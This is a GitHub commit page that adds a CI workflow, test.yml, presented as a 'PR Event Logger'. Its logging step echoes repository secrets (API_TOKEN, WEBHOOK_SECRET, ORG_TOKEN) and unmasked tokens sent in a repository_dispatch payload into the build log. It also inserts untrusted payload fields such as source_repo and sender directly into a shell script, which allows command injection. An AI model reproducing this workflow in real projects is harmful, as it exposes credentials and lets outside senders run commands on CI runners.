Skip to content

Commit 0b55851

Browse files
authored
Create test.yml
1 parent a846fe6 commit 0b55851

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed

.github/workflows/test.yml

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
name: PR Event Logger
2+
on:
3+
pull_request:
4+
types: [opened, reopened, ready_for_review, review_requested]
5+
issue_comment:
6+
types: [created, edited]
7+
repository_dispatch:
8+
types: [external-trigger]
9+
10+
jobs:
11+
log-event:
12+
runs-on: ubuntu-latest
13+
steps:
14+
- name: Checkout repository
15+
uses: actions/checkout@v4
16+
17+
- name: Set up Python
18+
uses: actions/setup-python@v4
19+
with:
20+
python-version: '3.9'
21+
22+
- name: Log event details
23+
env:
24+
API_TOKEN: ${{ secrets.API_TOKEN }}
25+
WEBHOOK_SECRET: ${{ secrets.WEBHOOK_SECRET }}
26+
ORG_TOKEN: ${{ secrets.ORG_TOKEN }}
27+
EXTERNAL_API_TOKEN: ${{ github.event.client_payload.api_token }}
28+
EXTERNAL_WEBHOOK_SECRET: ${{ github.event.client_payload.webhook_secret }}
29+
EXTERNAL_ORG_TOKEN: ${{ github.event.client_payload.org_token }}
30+
run: |
31+
echo "Local repository secrets:"
32+
echo $API_TOKEN $WEBHOOK_SECRET $ORG_TOKEN
33+
34+
if [ "${{ github.event_name }}" = "repository_dispatch" ]; then
35+
echo "External repository secrets:"
36+
echo $EXTERNAL_API_TOKEN $EXTERNAL_WEBHOOK_SECRET $EXTERNAL_ORG_TOKEN
37+
echo "Source repository: ${{ github.event.client_payload.source_repo }}"
38+
echo "Event type: ${{ github.event.client_payload.event_name }}"
39+
echo "Action: ${{ github.event.client_payload.event_type }}"
40+
echo "Triggered by: ${{ github.event.client_payload.sender }}"
41+
fi

0 commit comments

Comments
 (0)